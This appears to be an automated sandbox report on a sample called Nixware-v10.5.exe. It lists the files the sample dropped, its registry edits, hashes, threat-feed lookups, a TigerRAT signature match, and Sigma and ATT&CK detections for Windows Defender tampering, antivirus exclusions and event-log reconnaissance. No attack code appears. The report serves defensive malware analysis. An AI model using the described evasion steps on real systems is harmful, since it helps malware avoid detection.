- | 2026-09-26 12:36:59.881 |
| modifypayload |
C:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll
|
- | 2026-09-26 12:36:59.897 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\rar.exe
|
- | 2026-09-26 12:36:59.897 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\rarreg.key
|
- | 2026-09-26 12:36:59.897 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\select.pyd
|
- | 2026-09-26 12:36:59.944 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\sqlite3.dll
|
- | 2026-09-26 12:36:59.944 |
| modifypayload |
C:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll
|
- | 2026-09-26 12:36:59.944 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722\unicodedata.pyd
|
- | 2026-09-26 12:36:59.944 |
| modify |
C:\Users\user\AppData\Local\Temp\_MEI5722
|
- | 2026-09-26 12:37:00.037 |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\unicodedata.pyd
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\ucrtbase.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\sqlite3.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\select.pyd
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\rarreg.key
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\rar.exe
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\python313.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\libssl-3.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\libffi-8.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\libcrypto-3.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\bound.blank
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\blank.aes
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\blank.aes
|
Nixware-v10.5.exe pid 2380 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\base_library.zip
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-utility-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-time-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-string-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-stdio-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-runtime-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-process-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-math-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-locale-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-heap-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-filesystem-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-environment-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-convert-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-conio-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-util-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-timezone-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-sysinfo-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-synch-l1-2-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-synch-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-string-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-rtlsupport-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-profile-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processthreads-l1-1-1.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processthreads-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processenvironment-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-namedpipe-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-memory-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-localization-l1-2-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-libraryloader-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-interlocked-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-heap-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-handle-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-file-l2-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-file-l1-2-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-file-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-fibers-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-errorhandling-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-debug-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-datetime-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-console-l1-1-0.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\_ssl.pyd
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\_sqlite3.pyd
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\_socket.pyd
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\_queue.pyd
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\_lzma.pyd
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\_hashlib.pyd
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\_decimal.pyd
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\_ctypes.pyd
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\_bz2.pyd
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
C:\Users\user\AppData\Local\Temp\_MEI3402\VCRUNTIME140.dll
|
Nixware-v10.5.exe pid 340 | not measured |
| create |
Software\Microsoft\WBEM\CIMOM
|
Nixware-v10.5.exe pid 572 | not timed |
| create |
Software\Microsoft\RFC1156Agent\CurrentVersion\Parameters
|
Nixware-v10.5.exe pid 572 | not timed |
| setvalue |
System\CurrentControlSet\Services\BITS
Start = 2
|
- | not timed |
No operations match your filter.
External reputation was not produced for this scan. Threat intelligence enrichment is a paid-plan layer: every extracted indicator - hashes, addresses, hostnames - is checked against the external reputation services. Our own ingested feeds ran on this scan and every result below is theirs. Adding the paid layer adds an external reputation verdict on each indicator, so VirusTotal, MalwareBazaar and filescan.io are listed below as not checked. See plans.
2Sources with a hit
18Sources queriedof 23 available
470.3kFeed records
1Could not answer
File reputation
4 clear · 3 not checked| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| MalwareBazaar hash feed | File hash | clean | not in feed | 2,745 records 40 minutes ago |
| MalwareBazaar ransomware feed | File hash | clean | not in feed | 3,348 records 5 hours ago |
| ThreatFox hash IOCs | File hash | clean | not in feed | 1,158 records 41 minutes ago |
| URLhaus payload hashes | File hash | clean | not in feed | 1,642 records 40 minutes ago |
| filescan.io | File hash | not checked | no hash lookup ran for this scan | live lookup |
| MalwareBazaar | File hash | not checked | no hash lookup ran for this scan | live lookup |
| VirusTotal | File hash | not checked | no hash lookup ran for this scan | live lookup |
Hash lookups only - the sample itself is never uploaded to any third party.
Network indicators
7 clear · 1 could not answer| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| URLhaus | IP / domain / URL | feed unavailable | 2 observed indicators, none listed | no records ingested |
| blocklist.de | IP / domain / URL | clean | 2 observed indicators, none listed | 27.6k records 40 minutes ago |
| CINS Army | IP / domain / URL | clean | 2 observed indicators, none listed | 15k records 40 minutes ago |
| Emerging Threats | IP / domain / URL | clean | 2 observed indicators, none listed | 482 records 41 minutes ago |
| Feodo Tracker | IP / domain / URL | clean | 2 observed indicators, none listed | 5 records 41 minutes ago |
| IPsum | IP / domain / URL | clean | 2 observed indicators, none listed | 19.7k records 41 minutes ago |
| Phishing.Database | IP / domain / URL | clean | 2 observed indicators, none listed | 391.5k records 0 minutes ago |
| ThreatFox | IP / domain / URL | clean | 2 observed indicators, none listed | 1,158 records 41 minutes ago |
TLS fingerprints
nothing of this kind to check| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| JA3 / JA4 fingerprint blocklists | JA3 / JA4 | not checked | no TLS client fingerprint observed | 97 records 12 hours ago |
| SSL blocklist | Server certificate | not checked | no server certificate fingerprint is extracted to check | live lookup |
Detection rules
2 of 2 listed| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| Sigma rules | Behavior log | 7 matches | Tamper Windows Defender - ScriptBlockLogging, Powershell Defender Dis… | 2,275 records 7 hours ago |
| Signature rules | Sample content | 1 match | TigerRAT_pe_yaraify | 110 records 41 minutes ago |
Tooling catalogs
4 clear| Source | Checks | Result | Detail | Feed |
|---|---|---|---|---|
| LOLBAS | Process image paths | clean | 37 process image paths, none masqueraded | 245 records 41 minutes ago |
| LOLBootloaders | File hash | clean | not a known vulnerable bootloader | 520 records 40 minutes ago |
| LOLDrivers | File hash | clean | not a known vulnerable driver | 2,333 records 41 minutes ago |
| LOLRMM | Names and domains | clean | 38 name/domain indicators checked, no remote-management tooling | 360 records 40 minutes ago |
AI analysis
The AI layer is a paid-plan feature. It reads what the other layers produced - the behaviour summary, the call sequence, the indicator list - and writes the narrative and the kill-chain walkthrough.
Nothing is being withheld. This layer did not run for this scan, so there is no result stored behind the lock.
3 malicious
98 suspicious
0 info
File indicators
101| Severity | Type | Indicator | Description |
|---|---|---|---|
| malicious | sample_sha256 | b73d00a250c614a8a34ef6259ad8498ec395df646f1a81a1ea079ca1c09430e9 | Submitted sample (SHA256) |
| malicious | sample_md5 | 8de490cc8342baea770b1da6731dddba | Submitted sample (MD5) |
| malicious | imphash | 72c4e339b7af8ab1ed2eb3821c98713a | Import table hash (imphash) |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\VCRUNTIME140.dll | Executable written to disk during execution |
| suspicious | dropped_sha256 | 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153 | SHA256 of a file written during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-console-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-datetime-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-debug-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-errorhandling-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-fibers-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l1-2-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-file-l2-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-handle-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-heap-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-interlocked-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-libraryloader-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-localization-l1-2-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-memory-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-namedpipe-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processenvironment-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processthreads-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-processthreads-l1-1-1.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-profile-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-rtlsupport-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-string-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-synch-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-synch-l1-2-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\ucrtbase.dll | Executable written to disk during execution |
| suspicious | dropped_sha256 | 048d4c5a51e45777ba15facdaddbf7702594a2268e8de1768ab0f5f4e4d7e733 | SHA256 of a file written during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\sqlite3.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\rar.exe | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\python313.dll | Executable written to disk during execution |
| suspicious | dropped_sha256 | 09693bab682495b01de8a24c435ca5900e11d2d0f4f0807dae278b3a94770889 | SHA256 of a file written during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\libssl-3.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\libffi-8.dll | Executable written to disk during execution |
| suspicious | dropped_sha256 | 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece | SHA256 of a file written during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\libcrypto-3.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-utility-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-time-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-string-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-stdio-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-runtime-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-process-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-math-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-locale-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-heap-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-filesystem-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-environment-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-convert-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-crt-conio-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-util-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-timezone-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI5722\api-ms-win-core-sysinfo-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\ucrtbase.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\sqlite3.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\rar.exe | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\python313.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\libssl-3.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\libffi-8.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\libcrypto-3.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-utility-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-time-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-string-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-stdio-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-runtime-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-process-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-math-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-locale-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-heap-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-filesystem-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-environment-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-convert-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-crt-conio-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-util-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-timezone-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-sysinfo-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-synch-l1-2-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-synch-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-string-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-rtlsupport-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-profile-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processthreads-l1-1-1.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processthreads-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-processenvironment-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-namedpipe-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-memory-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-localization-l1-2-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-libraryloader-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-interlocked-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-heap-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-handle-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-file-l2-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-file-l1-2-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-file-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-fibers-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-errorhandling-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-debug-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-datetime-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\api-ms-win-core-console-l1-1-0.dll | Executable written to disk during execution |
| suspicious | dropped_file | C:\Users\user\AppData\Local\Temp\_MEI3402\VCRUNTIME140.dll | Executable written to disk during execution |
MITRE ATT&CK
11 techniquesTamper Windows Defender - ScriptBlockLogging
T1685Powershell Defender Disable Scan Feature
T1685Execution
Windows Defender Exclusions Added - PowerShell
T1685Execution
Windows Defender Exclusions Added - PowerShell
T1059Powershell Defender Exclusion
T1685Execution
Potentially Suspicious Powershell Script Execution From Temp Folder
T1059.001Credential Access
Potentially Suspicious EventLog Recon Activity Using Log Query Utilities
T1552Credential Access
Potentially Suspicious EventLog Recon Activity Using Log Query Utilities
T1087Privilege Escalation
Registry Modification of MS-settings Protocol Handler
T1548.002Privilege Escalation
Registry Modification of MS-settings Protocol Handler
T1546.001Privilege Escalation
Registry Modification of MS-settings Protocol Handler
T1112Sigma detections
7 matches of 2275 rules| Level | Detection | Log source | ATT&CK | Evidence |
|---|---|---|---|---|
| High | Tamper Windows Defender - ScriptBlockLogging Detects PowerShell scripts attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow. |
ps_script | T1685 | powershell scriptblock |
| High | Powershell Defender Disable Scan Feature Detects requests to disable Microsoft Defender features using PowerShell commands |
process_creation | T1685 | process pid=4856, process pid=4580 |
| Medium | Windows Defender Exclusions Added - PowerShell Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions |
ps_script | T1685 T1059 | powershell scriptblock, powershell scriptblock |
| Medium | Powershell Defender Exclusion Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets |
process_creation | T1685 | process pid=4848, process pid=3652, process pid=1860, proce… |
| Medium | Potentially Suspicious Powershell Script Execution From Temp Folder Detects a potentially suspicious powershell script executions from temporary folder |
process_creation | T1059.001 | process pid=1780 |
| Medium | Potentially Suspicious EventLog Recon Activity Using Log Query Utilities Detects execution of different log query utilities and commands to search and dump the content of specific event logs or look for specific event IDs.… |
process_creation | T1552 T1087 | process pid=3200, process pid=5540 |
